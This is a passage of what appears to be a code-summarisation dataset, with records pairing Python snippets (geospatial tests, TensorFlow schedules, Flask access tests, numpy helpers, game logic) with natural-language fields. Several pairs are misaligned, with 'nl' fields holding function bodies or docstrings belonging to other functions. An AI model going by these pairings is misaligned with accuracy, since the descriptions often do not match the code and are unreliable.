'coastal_exposure.csv'))\n intermediate_df = pandas.read_csv(\n os.path.join(\n args['workspace_dir'],\n 'intermediate/intermediate_exposure.csv'))\n habitat_df = pandas.read_csv(\n os.path.join(\n args['workspace_dir'],\n 'intermediate/habitats/habitat_protection.csv'))\n pandas.testing.assert_series_equal(\n actual_values_df['shore_id'], intermediate_df['shore_id'])\n pandas.testing.assert_series_equal(\n actual_values_df['shore_id'], habitat_df['shore_id'])\n", "nl": "CV: test raster aggregation over entirely nodata returns nan.workspace_dir = self.workspace_dirraster_path = os.path.join(workspace_dir, 'nodata_raster.tif')target_pickle_path = os.path.join(workspace_dir, 'target.pickle')sample_distance = 1.5# Make a simple raster filled with all nodatasrs = osr.SpatialReference()srs.ImportFromEPSG(26910) # UTM Zone 10Nprojection_wkt = srs.ExportToWkt()geotransform = [0, 0.5, 0.0, 0, 0.0, -0.5]n = 5nodata_val = -1gtiff_driver = gdal.GetDriverByName('GTiff')new_raster = gtiff_driver.Create(raster_path, n, n, 1, gdal.GDT_Int32, options=['TILED=YES', 'BIGTIFF=YES', 'COMPRESS=LZW','BLOCKXSIZE=16', 'BLOCKYSIZE=16'])new_raster.SetProjection(projection_wkt)new_raster.SetGeoTransform(geotransform)new_band = new_raster.GetRasterBand(1)array = numpy.array([nodata_val] * n**2).reshape((n, n))new_band.WriteArray(array)if nodata_val is not None:new_band.SetNoDataValue(nodata_val)new_raster.FlushCache()new_band = Nonenew_raster = None# Make a vector proximate to the rastersimple_points_path = os.path.join(workspace_dir, 'simple_points.shp')fields = {'shore_id': ogr.OFTInteger}attributes = [{'shore_id': 0}]pygeoprocessing.shapely_geometry_to_vector([Point(0., 0.)], simple_points_path, projection_wkt, 'GeoJSON',fields=fields, attribute_list=attributes,ogr_geom_type=ogr.wkbPoint)coastal_vulnerability._aggregate_raster_values_in_radius(simple_points_path, raster_path, sample_distance,target_pickle_path, _mean_op)with open(target_pickle_path, 'rb') as file:actual_values = pickle.load(file)expected_values = numpy.array([numpy.nan])numpy.testing.assert_allclose(list(actual_values.values()), expected_values, rtol=0, atol=1e-4)def test_complete_run(self):CV: regression test for a complete run w/ all optional arguments."} {"code": "def test_raises_error_with_no_input_paths(self):\n input_reader_proto = input_reader_pb2.InputReader()\n text_format.Merge(input_reader_text_proto, input_reader_proto)\n with self.assertRaises(ValueError):\n input_reader_builder.build(input_reader_proto)\n\nif __name__ == '__main__':\n tf.test.main()", "nl": "input_reader_text_proto = shuffle: falsenum_readers: 1load_instance_masks: true"} {"code": "def eager_decay_rate():\n\n Args:\n global_step: int tensor representing global step.\n learning_rate_base: base learning rate.\n learning_rate_decay_steps: steps to take between decaying the learning rate.\n Note that this includes the number of burn-in steps.\n learning_rate_decay_factor: multiplicative factor by which to decay learning\n rate.\n warmup_learning_rate: initial learning rate during warmup period.\n warmup_steps: number of steps to use warmup learning rate.\n min_learning_rate: the minimum learning rate.\n staircase: whether use staircase decay.\n\n Returns:\n If executing eagerly:\n returns a no-arg callable that outputs the (scalar)\n float tensor learning rate given the current value of global_step.\n If in a graph:\n immediately returns a (scalar) float tensor representing learning rate.\n \"\"\"", "nl": "Callable to compute the learning rate.post_burnin_learning_rate = tf.train.exponential_decay(learning_rate_base,global_step - burnin_steps,learning_rate_decay_steps,learning_rate_decay_factor,staircase=staircase)if callable(post_burnin_learning_rate):post_burnin_learning_rate = post_burnin_learning_rate()return tf.maximum(tf.where(tf.less(tf.cast(global_step, tf.int32), tf.constant(burnin_steps)),tf.constant(burnin_learning_rate),post_burnin_learning_rate), min_learning_rate, name='learning_rate')return _learning_rate_return_value(eager_decay_rate)def exponential_decay_with_warmup(global_step,learning_rate_base,learning_rate_decay_steps,learning_rate_decay_factor,warmup_learning_rate=0.0,warmup_steps=0,min_learning_rate=0.0,staircase=True):Exponential decay schedule with warm up period."} {"code": "def test_delete_autoimporter_post_forbidden_non_owner(self):\n self.register()\n self.signout()\n self.register(name=\"owner\")\n self.new_project()\n project = project_repo.get(1)\n url = \"/project/%s/tasks/autoimporter/delete\" % project.short_name\n\n res = self.app.post(url, data={}, follow_redirects=True)\n assert res.status_code == 403, res.status_code\n\n @with_context", "nl": "Test delete task autoimporter returns Forbidden if non owner accessesself.register()self.new_project()project = project_repo.get(1)self.signout()self.register(name='non-owner')url = \"/project/%s/tasks/autoimporter/delete\" % project.short_nameres = self.app.post(url, data={})assert res.status_code == 403, res.status_code@with_contextdef test_delete_autoimporter_post_forbidden_owner_no_pro(self):Test delete task autoimporter returns Forbidden if no pro accesses"} {"code": "def anno_parser_v0(anno_path, num_pts):\n data, num_lines = load_txt_file(anno_path)\n assert data[0].find('version: ') == 0, 'version is not correct'\n assert data[1].find('n_points: ') == 0, 'number of points in second line is not correct'\n assert data[2] == '{' and data[-1] == '}', 'starting and end symbol is not correct'\n\n assert data[0] == 'version: 1' or data[0] == 'version: 1.0', 'The version is wrong : {}'.format(data[0])\n n_points = int(data[1][len('n_points: '):])\n\n assert num_lines == n_points + 4, 'number of lines is not correct'\n assert num_pts == n_points, 'number of points is not correct'\n\n pts = np.zeros((3, n_points), dtype='float32')\n line_offset = 3\n point_set = set()\n for point_index in range(n_points):\n try:\n pts_list = data[point_index + line_offset].split(' ')\n if len(pts_list) > 2:\n pts_list = remove_item_from_list(pts_list, '')\n pts[0, point_index] = float(pts_list[0])\n pts[1, point_index] = float(pts_list[1])\n pts[2, point_index] = float(1)\n point_set.add( point_index )\n except ValueError:\n print('error in loading points in %s' % anno_path)\n return pts, point_set\n", "nl": "parse the annotation for 300W dataset, which has a fixed format for .pts filereturn:pts: 3 x num_pts (x, y, oculusion)"} {"code": "def __init__(self, sentence_objs):\n self.sentence_objs = sentence_objs\n", "nl": "The init method to initialize with an array of sentence objects"} {"code": "def save_checkpoint(filename, lr, steps, model, optimizer):\n print('Saving checkpoint at step {}'.format(steps))\n torch.save({\n 'steps': steps,\n 'lr': lr,\n 'model_state': model.state_dict(),\n 'optim_state': optimizer.state_dict()\n }, filename)\n", "nl": "Saves modelArgs:filename (string): checkpoint pathlr (float): learning ratemodel (nn.Module): vocoder modeloptimizer (Optimizer): optimizer"} {"code": "def visit_root_pre(self, errh):\n self.fd.write('%s\\n' % errh.id)\n", "nl": "@param errh: Error_handler instance@type errh: L{error_handler.err_handler}"} {"code": "def __trunc__(self):\n raise NotImplementedError\n", "nl": "trunc(self): Truncates self to an Integral.Returns an Integral i such that:* i>0 iff self>0;* abs(i) <= abs(self);* for any Integral j satisfying the first two conditions,abs(i) >= abs(j) [i.e. i has \"maximal\" abs among those].i.e. \"truncate towards 0\"."} {"code": "def empty(shape, dtype=None, order='C'):\n return ndarray.__new__(matrix, shape, dtype, order=order)\n", "nl": "Return a new matrix of given shape and type, without initializing entries.Parameters----------shape : int or tuple of intShape of the empty matrix.dtype : data-type, optionalDesired output data-type.order : {'C', 'F'}, optionalWhether to store multi-dimensional data in row-major(C-style) or column-major (Fortran-style) order inmemory.See Also--------empty_like, zerosNotes-----`empty`, unlike `zeros`, does not set the matrix values to zero,and may therefore be marginally faster. On the other hand, it requiresthe user to manually set all the values in the array, and should beused with caution.Examples-------->>> import numpy.matlib>>> np.matlib.empty((2, 2)) # filled with random datamatrix([[ 6.76425276e-320, 9.79033856e-307],[ 7.39337286e-309, 3.22135945e-309]]) #random>>> np.matlib.empty((2, 2), dtype=int)matrix([[ 6600475, 0],[ 6586976, 22740995]]) #random"} {"code": "def get_absolute_url(self):\n name = models.CharField(max_length=256)\n title = models.CharField(max_length=256)\n folder = models.ForeignKey(PageFolder)\n body = models.TextField(blank=True)", "nl": "Returns absolute URLtry:return reverse('core_admin_pagefolder_view', args=[self.id])except Exception:passclass Page(Object):Static page"} {"code": "def push(self, records: [Record], update):\n for record in records:\n filepath = record.metadata.get(", "nl": "Writes records to a csv file.:type records: list[:any:`Record`]:param records: List of records generated by inlets. Each top-level element of this array corresponds to one inlet that successfully returned data. Note that inlets could return arrays too, making this a nested array.:type update: :any:`Update`:param update: Update object representing the particular Link transfer."} {"code": "def handle_authorized(self, event):\n return QUIT\n", "nl": "Send the initial presence after log-in.# pylint: disable=W0613self.action(self.client)self.client.disconnect()@event_handler(DisconnectedEvent)def handle_disconnected(self, event):Quit the main loop upon disconnection."} {"code": "def create3DGui(self):\n self.proto = loader.loadModel(\"phase_3/models/makeatoon/tt_m_ara_mat_protoMachine\")\n self.proto.setScale(0.2)\n self.proto.reparentTo(render)\n", "nl": "This is a test function to load the 3D Gui."} {"code": "def article(self, id):\n\n return self.artcmd('ARTICLE ' + id)\n", "nl": "Process an ARTICLE command. Argument:- id: article number or message idReturns:- resp: server response if successful- nr: article number- id: message id- list: the lines of the article"} {"code": "def postSomethingMissing(self):\n self.showMe(TTLocalizer.BoardcodeMissing)\n", "nl": "The AI determines that something is wrong and this cannot be accepted.Eg 1: The leader of the group is not there in the avIdDict."} {"code": "def checkImages(images):\n images2 = []\n\n for im in images:\n if PIL and isinstance(im, PIL.Image.Image):\n images2.append(im)\n\n elif np and isinstance(im, np.ndarray):\n if im.dtype == np.uint8:\n images2.append(im)\n elif im.dtype in [np.float32, np.float64]:\n im = im.copy()\n im[im<0] = 0\n im[im>1] = 1\n im *= 255\n images2.append( im.astype(np.uint8) )\n else:\n im = im.astype(np.uint8)\n images2.append(im)\n if im.ndim == 2:\n pass\n elif im.ndim == 3:\n if im.shape[2] not in [3,4]:\n raise ValueError('This array can not represent an image.')\n else:\n raise ValueError('This array can not represent an image.')\n else:\n raise ValueError('Invalid image type: ' + str(type(im)))\n\n return images2\n\n", "nl": " checkImages(images)Check numpy images and correct intensity range etc.The same for all movie formats."} {"code": "def test_process(self):\n\n process_to_wait_args = ['python', '-c', 'import time; time.sleep(10)']\n process_to_wait = subprocess.Popen(process_to_wait_args, env=os.environ)\n self.assertIsNone(process_to_wait.poll())\n self._logger.debug('TestProcess: Started a process %d which will be waited on.' %\n process_to_wait.pid)\n\n worker_process_args = [\n 'python',\n '-c',\n 'import time;import sys;print(\\'exclude message\\');print(\\'include message1\\');' +\n 'sys.stdout.flush();time.sleep(3);print(\\'include message2\\');sys.stdout.flush()'\n ]\n\n old_stdout = sys.stdout\n buf = six.StringIO()\n sys.stdout = buf\n t = threading.Thread(target=_shell_process.run_and_monitor,\n args=(worker_process_args,\n process_to_wait.pid, lambda x: x.startswith('include')))\n t.start()\n time.sleep(1)\n\n process_to_monitor = None\n for proc in psutil.process_iter():\n if proc.is_running() and proc.cmdline() == worker_process_args:\n process_to_monitor = proc\n break\n\n self.assertIsNotNone(process_to_monitor)\n self._logger.debug('TestProcess: Started a worker process %d to be monitored on.' %\n process_to_monitor.pid)\n\n self._logger.debug('TestProcess: killing process %d' % process_to_wait.pid)\n process_to_wait.kill()\n process_to_wait.wait()\n time.sleep(1)\n self.assertFalse(process_to_monitor.is_running())\n self._logger.debug('TestProcess: process %d being monitored ' % process_to_monitor.pid +\n 'was also killed successfully after waiting process was killed.')\n sys.stdout = old_stdout\n\n self.assertEqual('include message1', buf.getvalue().rstrip())\n\n\nif __name__ == '__main__':\n unittest.main()", "nl": " Test starting a process and have it depend on another process.Steps:1: process_to_wait is created with 10 seconds to live. It is assumed thistest will finish before then.2: _shell_process.run_and_monitor() creates a worker process and a monitorprocess.3: The worker process prints \"exclude message\", \"include message1\".4: This test wakes up from 1 sec sleep, kills process_to_wait.5: The monitor process seeks process_to_wait is dead, and kills the worker.Monitor process also ends after killing the worker.6: This test wakes up from 1 sec sleep and checks the worker is dead. Alsochecks the stdout message of the worker process is captured and filtered."} {"code": "def get_max_zoom(self):\n return self.max_zoom\n", "nl": "Return the maximum zoom of this source"} {"code": "def setUp(self):\n super(InfiniteFeedTests, self).setUp()\n self.db_set_up()\n", "nl": "Set up test attributes"} {"code": "def learning_schedule(params, optim_algorithm, lr, milestones, gamma):\n if optim_algorithm == 'sgd':\n optimiser = optim.SGD(params, lr=lr)\n elif optim_algorithm == 'nesterov':\n optimiser = optim.SGD(params, lr=lr, momentum=0.8, nesterov=True)\n elif optim_algorithm == 'rmsprop':\n optimiser = optim.RMSprop(params, lr=lr)\n else:\n raise Exception('unrecognised optimisation algorithm: ' + optim_algorithm)\n return optim.lr_scheduler.MultiStepLR(optimiser, milestones=milestones, gamma=gamma)\n\n", "nl": "Creates an optimizer and learning rate scheduler.Args:params: Model parametersoptim_algorithm (str): Name of the optimisation algorithmlr: Initial learning ratemilestones: Schedule milestonesgamma: Learning rate decay factorReturns:optim.lr_scheduler._LRScheduler: Learning rate scheduler"} {"code": "def generate_min_max_length_mask(array_shape, min_l, max_l):\n single_dims = (1, ) * (len(array_shape) - 2)\n mask_shape = single_dims + array_shape[-2:]\n extra_length_mask_array = np.ones(mask_shape, dtype=np.float32)\n mask_triu = np.triu(extra_length_mask_array, k=min_l)\n mask_triu_reversed = 1 - np.triu(extra_length_mask_array, k=max_l)\n final_prob_mask = mask_triu * mask_triu_reversed\n return final_prob_mask\n\n", "nl": " The last two dimension denotes matrix of upper-triangle with upper-right corner masked,below is the case for 4x4.[[0, 1, 1, 0],[0, 0, 1, 1],[0, 0, 0, 1],[0, 0, 0, 0]]Args:array_shape: np.shape??? The last two dimensions should be the samemin_l: int, minimum length of predicted spanmax_l: int, maximum length of predicted spanReturns:"} {"code": "def var(da: xr.DataArray, *, group: str | Grouper = \"time\") -> xr.DataArray:\n attrs = da.attrs\n if group.prop != \"group\":\n da = da.groupby(group.name)\n out = da.var(dim=group.dim)\n out.attrs.update(attrs)\n out.attrs[\"long_name\"] = \"Variance\"\n u = xc.core.units.units2pint(attrs[\"units\"])\n u2 = u**2\n out.attrs[\"units\"] = xc.core.units.pint2cfunits(u2)\n out.name = \"variance\"\n return out\n\n\n@update_xclim_history\n@register_statistical_properties(aspect=\"marginal\", seasonal=True, annual=True)", "nl": "Variance.Variance of the variable over all years at the time resolution.Parameters----------da : xr.DataArrayVariable on which to calculate the diagnostic.group : {'time', 'time.season', 'time.month'}Grouping of the output.E.g. If 'time.month', the variance is performed separately for each month.Returns-------xr.DataArrayVariance of the variable.Examples-------->>> pr = open_dataset(path_to_pr_file).pr>>> var(da=pr, group=\"time.season\")"} {"code": "def get_client_version(self, agent=None):\n return self.client_version\n", "nl": "See:func:`burpui.misc.backend.interface.BUIbackend.get_client_version`"} {"code": "def upgrade_state_dict(self, state_dict):\n\n Args:\n state_dict (dict): state dictionary to upgrade, in place\n name (str): the state dict key corresponding to the current module\n \"\"\"", "nl": "Upgrade old state dicts to work with newer code.self.upgrade_state_dict_named(state_dict, \"\")def upgrade_state_dict_named(self, state_dict, name):Upgrade old state dicts to work with newer code."} {"code": "def draw(self, N):\n K = self.alias.size(0)\n\n kk = torch.zeros(N, dtype=torch.long, device=self.prob.device).random_(0, K)\n prob = self.prob.index_select(0, kk)\n alias = self.alias.index_select(0, kk)\n b = torch.bernoulli(prob)\n oq = kk.mul(b.long())\n oj = alias.mul((1-b).long())\n\n return oq + oj\n", "nl": "Draw N samples from multinomial"} {"code": "def signature_algo(self):\n\n return self['signature_algorithm'].signature_algo\n\n @property", "nl": ":return:A unicode string of \"rsassa_pkcs1v15\", \"rsassa_pss\", \"dsa\", \"ecdsa\""} {"code": "def py_encode_basestring(s):", "nl": "Return a JSON representation of a Python string"} {"code": "def get_task(self, task, wait):\n body = {\"method\": \"get\", \"params\": [{\"url\": \"task/task/{}\".format(task)}], \"verbose\": 1,\n \"session\": self.session}\n percent_complete = 0\n countdown = time.localtime().tm_min\n\n while percent_complete != 100:\n response = self.make_request(body).json()\n if response[\"result\"][0][\"status\"][\"code\"] == 0:\n percent_complete = response[\"result\"][0][\"data\"][\"percent\"]\n\n if time.localtime().tm_min - countdown > wait:\n break\n elif countdown in range((60 - wait), 61) and time.localtime().tm_min in range(wait):\n break\n else:\n time.sleep(15)\n\n return response\n", "nl": "This method is used to get the status of a task.:param task: Type str.The task id to retrieve:param wait: Type int.The number of minutes to wait before failing.:return: The json results from the task once completed, failed, or time ran out."} {"code": "def test_handle_transaction_receipt_iii(self):\n self.strategy._is_contract_deployed = True\n self.strategy._is_tokens_created = True\n self.strategy._is_tokens_minted = False\n\n ledger_api_dialogue = cast(\n LedgerApiDialogue,\n self.prepare_skill_dialogue(\n dialogues=self.ledger_api_dialogues,\n messages=self.list_of_ledger_api_messages[:5],\n counterparty=LEDGER_API_ADDRESS,\n ),\n )\n incoming_message = cast(\n LedgerApiMessage,\n self.build_incoming_message_for_skill_dialogue(\n dialogue=ledger_api_dialogue,\n performative=LedgerApiMessage.Performative.TRANSACTION_RECEIPT,\n transaction_receipt=self.mocked_tx_receipt,\n ),\n )\n\n with patch.object(self.logger, \"log\") as mock_logger:\n with patch.object(LedgerApis, \"is_transaction_settled\", return_value=True):\n self.ledger_api_handler.handle(incoming_message)\n\n mock_logger.assert_any_call(\n logging.INFO,\n f\"transaction was successfully settled. Transaction receipt={self.mocked_tx_receipt}\",\n )\n\n assert self.strategy.is_tokens_minted is True\n assert self.strategy.is_behaviour_active is True\n", "nl": "Test the _handle_transaction_receipt method of the ledger_api handler where is_tokens_created is False.# setupself.strategy._is_contract_deployed = Trueself.strategy._is_tokens_created = Falseledger_api_dialogue = cast(LedgerApiDialogue,self.prepare_skill_dialogue(dialogues=self.ledger_api_dialogues,messages=self.list_of_ledger_api_messages[:5],counterparty=LEDGER_API_ADDRESS,),)incoming_message = cast(LedgerApiMessage,self.build_incoming_message_for_skill_dialogue(dialogue=ledger_api_dialogue,performative=LedgerApiMessage.Performative.TRANSACTION_RECEIPT,transaction_receipt=self.mocked_tx_receipt,),)# operationwith patch.object(self.logger, \"log\") as mock_logger:with patch.object(LedgerApis, \"is_transaction_settled\", return_value=True):self.ledger_api_handler.handle(incoming_message)# aftermock_logger.assert_any_call(logging.INFO,f\"transaction was successfully settled. Transaction receipt={self.mocked_tx_receipt}\",)assert self.strategy.is_tokens_created is Trueassert self.strategy.is_behaviour_active is Truedef test_handle_transaction_receipt_iv(self):Test the _handle_transaction_receipt method of the ledger_api handler where is_tokens_minted is False."} {"code": "def as_result(self) -> Union[ConjectureResult, _Overrun]:\n\n assert self.frozen\n if self.status == Status.OVERRUN:\n return Overrun\n if self.__result is None:\n self.__result = ConjectureResult(\n status=self.status,\n interesting_origin=self.interesting_origin,\n buffer=self.buffer,\n examples=self.examples,\n blocks=self.blocks,\n output=self.output,\n extra_information=self.extra_information\n if self.extra_information.has_information()\n else None,\n has_discards=self.has_discards,\n target_observations=self.target_observations,\n tags=frozenset(self.tags),\n forced_indices=frozenset(self.forced_indices),\n )\n assert self.__result is not None\n self.blocks.transfer_ownership(self.__result)\n return self.__result\n", "nl": "Convert the result of running this test intoeither an Overrun object or a ConjectureResult."} {"code": "def closest_docs(self, query, k=1):\n spvec = self.text2spvec(query)\n res = spvec * self.doc_mat\n\n if len(res.data) <= k:\n o_sort = np.argsort(-res.data)\n else:\n o = np.argpartition(-res.data, k)[0:k]\n o_sort = o[np.argsort(-res.data[o])]\n\n doc_scores = res.data[o_sort]\n doc_ids = [self.get_doc_id(i) for i in res.indices[o_sort]]\n return doc_ids, doc_scores\n", "nl": "Closest docs by dot product between query and documentsin tfidf weighted word vector space."} {"code": "def __setitem__(self, key, value):\n raise Exception(\"Unable to register or update a device via this interface at the moment.\")\n", "nl": "Register a new device - not currently supported via this interface, use: `registry.devices.create()`"} {"code": "def handle_data(data):\n\tcity_json = loads(data)\n\toutput = ''\n\tfor item in city_json['places']:\n\t\toutput += '- City: {place}, Post code: {postcode}\\n'.format(place=item['place name'], postcode=item['post code'])\n\treturn output\n", "nl": "process json response from zippopotamus.will return a markdown list of items."} {"code": "def get_dev_examples(self, data_dir):\n raise NotImplementedError()\n", "nl": "Gets a collection of `InputExample`s for the dev set.raise NotImplementedError()def get_test_examples(self, data_dir):Gets a collection of `InputExample`s for the dev set."} {"code": "def contains(self, other, max_distance=1e-4):", "nl": "Estimate whether the bounding box contains a point.Parameters----------other : tuple of number or imgaug.augmentables.kps.KeypointPoint to check for.max_distance : floatMaximum allowed euclidean distance between the point and theclosest point on the line. If the threshold is exceeded, the pointis not considered to be contained in the line.Returns-------boolTrue if the point is contained in the line string, False otherwise.It is contained if its distance to the line or any of its pointsis below a threshold."} {"code": "def get_hypersize(self, hp_name):\n if self.config.dataset_specific_residual_noise_estimation:\n wmap = self._hyper2wavemap(hp_name)\n return wmap.hypersize\n else:\n return 1\n", "nl": "Return size of the hyperparameterParameters----------hp_name: strof hyperparameter nameReturns-------int"} {"code": "def test_ui_controller_shared_states(self):\n ui_thread_status_queue = Queue.Queue()\n stream = six.StringIO()\n start_time = self.start_time\n ui_controller = UIController(0, 0, 0, 0, custom_time=start_time)\n main_thread_ui_queue = MainThreadUIQueue(stream, ui_controller)\n ui_thread = UIThread(ui_thread_status_queue, stream, ui_controller)\n PutToQueueWithTimeout(\n main_thread_ui_queue,\n ProducerThreadMessage(1, UPLOAD_SIZE, start_time, finished=True))\n fpath = self.CreateTempFile(file_name='sample-file.txt', contents=b'foo')\n PutToQueueWithTimeout(\n ui_thread_status_queue,\n FileMessage(StorageUrlFromString(suri(fpath)),\n None,\n start_time + 10,\n size=UPLOAD_SIZE,\n message_type=FileMessage.FILE_UPLOAD,\n finished=False))\n PutToQueueWithTimeout(\n ui_thread_status_queue,\n FileMessage(StorageUrlFromString(suri(fpath)),\n None,\n start_time + 20,\n size=UPLOAD_SIZE,\n message_type=FileMessage.FILE_UPLOAD,\n finished=True))\n PutToQueueWithTimeout(ui_thread_status_queue, FinalMessage(start_time + 50))\n PutToQueueWithTimeout(ui_thread_status_queue, ZERO_TASKS_TO_DO_ARGUMENT)\n JoinThreadAndRaiseOnTimeout(ui_thread)\n content = stream.getvalue()\n CheckUiOutputWithMFlag(self, content, 1, UPLOAD_SIZE)\n", "nl": "Tests that UIController correctly integrates messages.This test ensures UIController correctly shares its state, which is used byboth UIThread and MainThreadUIQueue. There are multiple ways of checkingthat. One such way is to create a ProducerThreadMessage on theMainThreadUIQueue, simulate a upload with messages coming from the UIThread,and check if the output has the percentage done and number of files(both happen only when a ProducerThreadMessage or SeekAheadMessage iscalled)."} {"code": "def upload(self, src, dst, **kwargs):\n cmdline, host = self._process_scp_cmdline(kwargs)\n cmdline.append(src)\n cmdline.append(\"%s:%s\" % (host, dst))\n proc = Popen(cmdline, stdin = PIPE, stdout = PIPE, stderr = PIPE, shell = False,\n cwd = self.scp_cwd, env = self.scp_env, startupinfo = _get_startupinfo())\n stdout, stderr = proc.communicate()\n if proc.returncode != 0:\n raise ValueError(\"upload failed\", stdout, stderr)\n", "nl": "Uploads *src* from the local machine to *dst* on the other side. By default,``-r`` (recursive copy) is given to ``scp``, so *src* can be either a file ora directory. To override this behavior, pass ``r = False`` as a keyword argument.:param src: the source path (on the local side):param dst: the destination path (on the remote side):param kwargs: any additional keyword arguments, passed to ``scp``."} {"code": "def recover_closest_inshop(query_feature_matrix_all, gallery_feature_matrix_all, query_image_paths, gallery_image_paths, save_path, n_image_samples=10, n_closest=3):\n query_image_paths, gallery_image_paths = np.array(query_image_paths), np.array(gallery_image_paths)\n sample_idxs = np.random.choice(np.arange(len(gallery_feature_matrix_all)), n_image_samples)\n\n faiss_search_index = faiss.IndexFlatL2(gallery_feature_matrix_all.shape[-1])\n faiss_search_index.add(gallery_feature_matrix_all)\n _, closest_feature_idxs = faiss_search_index.search(query_feature_matrix_all, n_closest)\n\n image_paths = gallery_image_paths[closest_feature_idxs]\n image_paths = np.concatenate([query_image_paths.reshape(-1,1), image_paths],axis=-1)\n\n sample_paths = image_paths[closest_feature_idxs][sample_idxs]\n\n f,axes = plt.subplots(n_image_samples, n_closest+1)\n for i,(ax,plot_path) in enumerate(zip(axes.reshape(-1), sample_paths.reshape(-1))):\n ax.imshow(np.array(Image.open(plot_path)))\n ax.set_xticks([])\n ax.set_yticks([])\n if i%(n_closest+1):\n ax.axvline(x=0, color='g', linewidth=13)\n else:\n ax.axvline(x=0, color='r', linewidth=13)\n f.set_size_inches(10,20)\n f.tight_layout()\n f.savefig(save_path)\n plt.close()\n\n\n\n\n\"\"\"=============================================================================================================\"\"\"", "nl": "Provide sample recoveries specifically for the In-Shop Clothes dataset.Args:query_feature_matrix_all: np.ndarray [n_query_samples x embed_dim], full data embedding of query samples.gallery_feature_matrix_all: np.ndarray [n_gallery_samples x embed_dim], full data embedding of gallery samples.query_image_paths: list [n_samples], list of datapaths corresponding to gallery_image_paths: list [n_samples], list of datapaths corresponding to save_path: str, where to store sample image.n_image_samples: Number of sample recoveries.n_closest: Number of closest recoveries to show.Returns:Nothing!"} {"code": "def test_setting_validation_with_bool_values():\n anet = AstrometryNet()\n\n settings = {'crpix_center': 'seven'}\n with pytest.raises(ValueError) as e:\n anet._validate_settings(settings)\n assert \"Value for crpix_center must be of type \" in str(e.value)\n\n settings = {'crpix_center': True}\n anet._validate_settings(settings)\n\n", "nl": "Check that values that are supposed to be bool are handledproperly."} {"code": "def rstrip_extra(fname):\n to_strip = (\"_R\", \".R\", \"-R\", \"_\", \"fastq\", \".\", \"-\")\n while fname.endswith(to_strip):\n for x in to_strip:\n if fname.endswith(x):\n fname = fname[:len(fname) - len(x)]\n break\n return fname\n", "nl": "Strip extraneous, non-discriminative filename info from the end of a file."} {"code": "def test_password_with_internal_hash(self):\n", "nl": "self._test_passwords(\\machine host.domain.com login log password pa#ss account acct, 'pa#ss')"} {"code": "def __init__(self, *args, **kwargs):\n\n unittest.TestCase.__init__(self, *args, **kwargs)\n\n backend_fake = FakeOpenPulse2Q()\n\n self.config = backend_fake.configuration()\n self.meas_map = self.config.meas_map\n self.n_qubits = self.config.n_qubits", "nl": "Init the test cal simulator"} {"code": "def escape(text, use_cdata=False):\n if sys.version_info < (3, 0):\n if type(text) != types.UnicodeType:\n text = unicode(text, 'utf-8', 'ignore')\n\n escapes = {'&': '&',\n '<': '<',\n '>': '>',\n \"'\": ''',\n '\"': '"'}\n\n if not use_cdata:\n text = list(text)\n for i, c in enumerate(text):\n text[i] = escapes.get(c, c)\n return ''.join(text)\n else:\n escape_needed = False\n for c in text:\n if c in escapes:\n escape_needed = True\n break\n if escape_needed:\n escaped = map(lambda x : \"\" % x, text.split(\"]]>\"))\n return \"]]>\".join(escaped)\n return text", "nl": "Convert special characters in XML to escape sequences.:param string text: The XML text to convert.:rtype: Unicode string"} {"code": "def ComputeOutputDir(params):\n toplevel = params['options'].toplevel_dir\n qualified_out_dir = os.path.normpath(os.path.join(\n toplevel, ComputeOutputDir(params), 'gypfiles'))\n\n global generator_filelist_paths\n generator_filelist_paths = {\n 'toplevel': toplevel,\n 'qualified_out_dir': qualified_out_dir,\n }\n\n", "nl": "Returns the path from the toplevel_dir to the build output directory.# generator_dir: relative path from pwd to where make puts build files.# Makes migrating from make to ninja easier, ninja doesn't put anything here.generator_dir = os.path.relpath(params['options'].generator_output or '.')# output_dir: relative path from generator_dir to the build directory.output_dir = params.get('generator_flags', {}).get('output_dir', 'out')# Relative path from source root to our output files. e.g. \"out\"return os.path.normpath(os.path.join(generator_dir, output_dir))def CalculateGeneratorInputInfo(params):Called by __init__ to initialize generator values based on params."} {"code": "def unit(self):\n return self._unit\n\n @property", "nl": "The precision of the datetime data."} {"code": "def on_key_release(self, key, modifiers):\n\n self.physics_engine.update()\n\n if self.physics_engine.can_jump():\n self.player_sprite.can_jump = False\n else:\n self.player_sprite.can_jump = True\n\n if self.physics_engine.is_on_ladder() and not self.physics_engine.can_jump():\n self.player_sprite.is_on_ladder = True\n self.process_keychange()\n else:\n self.player_sprite.is_on_ladder = False\n self.process_keychange()\n\n self.scene.update_animation(\n delta_time,\n [\n LAYER_NAME_COINS,\n LAYER_NAME_BACKGROUND,\n LAYER_NAME_PLAYER,\n LAYER_NAME_ENEMIES,\n ],\n )\n\n self.scene.update([LAYER_NAME_MOVING_PLATFORMS, LAYER_NAME_ENEMIES])\n\n for enemy in self.scene[LAYER_NAME_ENEMIES]:\n if (\n enemy.boundary_right\n and enemy.right > enemy.boundary_right\n and enemy.change_x > 0\n ):\n enemy.change_x *= -1\n\n if (\n enemy.boundary_left\n and enemy.left < enemy.boundary_left\n and enemy.change_x < 0\n ):\n enemy.change_x *= -1\n\n player_collision_list = arcade.check_for_collision_with_lists(\n self.player_sprite,\n [\n self.scene[LAYER_NAME_COINS],\n self.scene[LAYER_NAME_ENEMIES],\n ],\n )\n\n\n for collision in player_collision_list:\n\n if self.scene[LAYER_NAME_ENEMIES] in collision.sprite_lists:\n arcade.play_sound(self.game_over)\n self.setup()\n return\n else:\n if \"Points\" not in collision.properties:\n print(\"Warning, collected a coin without a Points property.\")\n else:\n points = int(collision.properties[\"Points\"])\n self.score += points\n\n collision.remove_from_sprite_lists()\n arcade.play_sound(self.collect_coin_sound)\n\n self.center_camera_to_player()\n\n", "nl": "Called when the user releases a key.if key == arcade.key.UP or key == arcade.key.W:self.up_pressed = Falseself.jump_needs_reset = Falseelif key == arcade.key.DOWN or key == arcade.key.S:self.down_pressed = Falseelif key == arcade.key.LEFT or key == arcade.key.A:self.left_pressed = Falseelif key == arcade.key.RIGHT or key == arcade.key.D:self.right_pressed = Falseself.process_keychange()def center_camera_to_player(self, speed=0.2):screen_center_x = self.player_sprite.center_x - (self.camera.viewport_width / 2)screen_center_y = self.player_sprite.center_y - (self.camera.viewport_height / 2)if screen_center_x < 0:screen_center_x = 0if screen_center_y < 0:screen_center_y = 0player_centered = screen_center_x, screen_center_yself.camera.move_to(player_centered, speed)def on_update(self, delta_time):Movement and game logic"} {"code": "def method3(x: int, y: int) -> str:\n z = method4(x, y)\n a = method5(z)\n b = method6(a, x, y)\n return b\n\n", "nl": "TypicalUsage:method3(1, 4)method3(9, 2)"} {"code": "def _evp_pkey_to_private_key(self, evp_pkey):\n\n 